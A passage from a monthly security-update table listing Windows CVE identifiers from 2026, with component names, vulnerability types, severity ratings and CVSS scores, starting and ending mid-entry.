Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows 